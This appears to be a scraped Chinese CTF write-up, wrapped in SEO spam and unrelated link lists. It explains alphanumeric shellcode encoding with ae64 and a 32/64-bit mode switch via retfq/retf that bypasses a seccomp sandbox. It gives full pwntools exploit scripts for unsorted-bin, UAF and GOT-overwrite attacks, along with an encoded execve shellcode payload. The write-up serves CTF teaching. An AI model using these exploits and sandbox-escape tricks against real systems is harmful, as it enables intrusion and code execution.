当前位置: 首页 > news >正文

合肥微信网站wordpress菜鸟

合肥微信网站,wordpress菜鸟,竞价推广账户托管服务,本地建设网站怎么查看后台账号网上已经有成熟的工具了#xff0c;所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧#xff0c;没有开启NX保护#xff0c;基本这类型题目九成九都…网上已经有成熟的工具了所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧没有开启NX保护基本这类型题目九成九都是shellcode题 程序一开始会让我们在bss段上输入数据并且判断输入的字符大小是否小于0x1F再结合NX保护没开启的操作很容易可以想到此时输入的就是shellcode而每个字节的不能小于0x1F那么使用ASCII码shellcode就可以完全绕过了因为小于0x1F的都是不可见字符 接着再来看题目存在的漏洞题目存在很明显的UAF漏洞 在选项5中则是留有触发shellcode的条件只要dword_602440不为0则直接指向我们输入的shellcode而dword_602440位于bss段因此默认就为0 而在add函数中分配堆块又恰好都在unsortbin的范围内那么思路很清楚了就是使用unsortbin修改dword_602440的值那么就能触发shellcode 剩下就是shellcode如何绕过0x1F这个限制可以看到syscal是\xf\x5因此syscal都无法绕过这个限制 这里使用ae64这个工具 ‍帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 首先将需要修改的shellcode以二进制的形式导出这里直接用pwntools生成的shellcode即可 from ae64 import AE64 from pwn import * context.archamd64# get bytes format shellcode shellcode asm(shellcraft.sh())# get alphanumeric shellcode f open(shellcode,wb) f.write(shellcode) f.close() 接着使用ae64的库直接修改为ASCII码shellcode from pwn import * from ae64 import AE64context.arch amd64obj AE64() sc obj.encode(asm(shellcraft.sh()),rdx) print(sc) 这里rdx即为shellcode执行的时候call的寄存器 然后就可以生成shellcode了 紧接着拿这段生成的shellcode就可以绕过了 exp from pwn import *sh process(./pwn) context(archamd64)def add(size):sh.recvuntil( choice:)sh.sendline(1)sh.recvuntil( message?)sh.sendline(str(size))def delete(index):sh.recvuntil( choice:)sh.sendline(2)sh.recvuntil(o be deleted?)sh.sendline(str(index))def edit(index,content):sh.recvuntil( choice:)sh.sendline(3)sh.recvuntil( be modified?)sh.sendline(str(index))sh.recvuntil(t of the message?)sh.sendline(content)def show(index):sh.recvuntil( choice:)sh.sendline(4)sh.recvuntil( to be showed?)sh.sendline(str(index))def exp():sh.recvuntil( choice:)sh.sendline(5) payload RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP sh.send(payload) add(0x81) add(0x81) delete(0) edit(0, p64(0) p64(0x602440 - 0x10)) add(0x81) exp()sh.interactive()机器切换-shellcode 有时候会遇到题目需要同时使用32位shellcode与64位shellcode那么如何进行机器切换则成为解题的关键。 CS寄存器则是用于标记机器位数的关键寄存器 CS0x3364位CS0x2332位 那么如何修改CS寄存器的值则需要通过retfq与retf的指令 refq从64位切换到32位 push 0x23; #32位的CS寄存器的值 push 0xxx; #需要跳转的地址 retfq; #从32位切换到64位ref从32位切换至64位 push 0x33; #64的CS寄存器的值 push 0xxx; #需要跳转的地址 retf; #从64位切换到32位再以一道题目作为例子保护如下还是没有开启NX保护 题目漏洞在于再add函数中可申请11个堆块而题目中给堆块地址容纳的个数为10因此申请的第11个堆块的地址则会到length中从而导致第1个堆块的大小变成了堆块的地址值造成了堆溢出。 这里有个需要注意的地方是会首先检测存放堆块的位置是否为0为0才会给该堆块申请的机会因此第1个堆块的大小必须设置为0才能够申请到11个堆块。 题目还是用mallopt修改了fastbin的大小为0x10因此使得无法释放的堆块无法放置到fastbin中但是mallopt实际是修改了max_global_fast的大小 但是题目存在堆溢出漏洞因此使用修改Unsortbin的bk指针修改global_max_fast的即可这样就可以让堆块放进fastbin中了。 并且允许在bss段上输入数据且该地址刚好在存放堆块地址的上方因此伪造虚假堆块在该位置就可以完成任意地址写了。 紧接着修改free函数的got表地址为堆块地址就可以跳转到shellcode中执行可以看到堆块地址也是具有可执行权限的。 查看一下禁用了哪些函数发现只能用readwrite以及fstat函数但是fstat函数对于这道题来说没有用。那么没有open函数我们就没办法进行orw的利用了。 可以看到fstat函数的64位的系统调用号为5 但是32位下的系统调用号5为open函数 那么如果能切换到32位下执行系统调用为5的系统调用即可完成open函数的执行这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。 这里需要注意两个点 1在切换为机器位数之后栈顶的地址会被截断为4个字节因此需要重新调整一下栈顶的地址 2在机器位数切换为32位时在执行系统调用还是会显示原来的函数但是这个是gdb显示错误它实际被修改为open函数了 exp from pwn import *#sh process(./pwn)elf ELF(pwn)def user(name,desc):sh.recvuntil(choice:)sh.sendline(0)sh.recvuntil( name?) sh.send(name)sh.recvuntil(desc?)sh.send(desc)def add(size):sh.recvuntil(choice:)sh.sendline(1)sh.recvuntil( message?)sh.send(str(size))def delete(index):sh.recvuntil(choice:)sh.sendline(2)sh.recvuntil( be deleted?)sh.send(str(index))def edit(index, offset, content):sh.recvuntil(choice:)sh.sendline(3)sh.recvuntil(ssage to be modified?)sh.send(str(index))sh.recvuntil(message to be modified?)sh.send(str(offset))sh.recvuntil(ent of the message?)sh.send(content)while(1):try:sh process(./pwn)add(0) #0add(0) #1add(0x60)for i in range(8):add(0x71)delete(1)payload p64(0)*3 p64(0x21) p64(0) p16(0x37f8 - 0x10)edit(0,0,payload)add(9)delete(2)delete(3)delete(4)delete(5)user(a*0x10p64(0)p64(0x71),b)target 0x6020f0 payload p64(0)*3 p64(0x21) p64(0)*3 p64(0x71) p64(target)edit(0,0,payload)add(0x60)#2sh.recvuntil(Ptr: )addr int(0xsh.recv(6),16)log.info(addr:hex(addr))add(0x60)#3edit(3,0,p64(elf.got[free]))payload asm(push 0x23;push hex(addr9);retfq, archamd64)payload asm(mov esp, hex(target0x50);push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80,archi386)payload asm(push 0x33;push hex(addr0x2b);retf)payload asm(mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;,archamd64)payload asm(mov rdi,1;mov rax ,1;syscall;,archamd64)edit(2,0,payload)edit(0,0,p64(addr))#attach(sh,b*str(addr))delete(6)sh.interactive()except:continue
http://www.hkea.cn/news/14389948/

相关文章:

  • 做门户网站cms有哪些可以在网上做兼职的网站
  • 苏州自助建站模板做微信公众号的网站吗
  • 网站连接微信深圳设计院跳槽事件
  • asp.net的网站开发网站怎么做成软件
  • 购物网站成品网站建设哪家好 思创网络
  • 网站建设主要包括两个方面上海网站建设公司推
  • 的磁力搜索引擎网站优化搜索排名
  • 甘肃网站开发企业wordpress函数手册 pdf
  • 好的网站首页的特点wordpress首页是哪个
  • 旅游门户网站建设方案模板上海市住房和城乡建设厅网站查询
  • 商城网站系网站封装
  • 佳木斯做网站公司wordpress 文章 调用
  • 网站建设的源代码手机端网站开发工具
  • 前端网站开发一个月多少钱小型静态网站是什么原因
  • 飞沐网站设计建设机械网站案例分析
  • 在网站做推广要钱吗wordpress qiniu-uploader 使用
  • 深圳交易平台网站开发网站自动更新时间代码
  • 中国广告设计网站互联网网站建设彭聪
  • 可以上传自己做的视频的网站吗智慧团建app官网下载
  • 浙江天力建设集团有限公司网站网络设计专业介绍
  • 可以免费网络推广网站深圳网站设计灵点网络品牌
  • 网站建设方案ppt模板唐山企业建网站
  • 设计网站外网电影订票网站开发
  • 免费做图片的网站有哪些网站的管理页面
  • 专业合肥网站建设百度精准营销获客平台
  • 网站建设和网站设计wordpress 联系插件
  • 昆明餐饮网站建设手机网站设计趋势
  • 做慕课的网站有哪些推销
  • 花都手机网站建设哈尔滨网站建设一薇ls15227
  • 网站开发收试述网站建设应考虑哪些方面的问题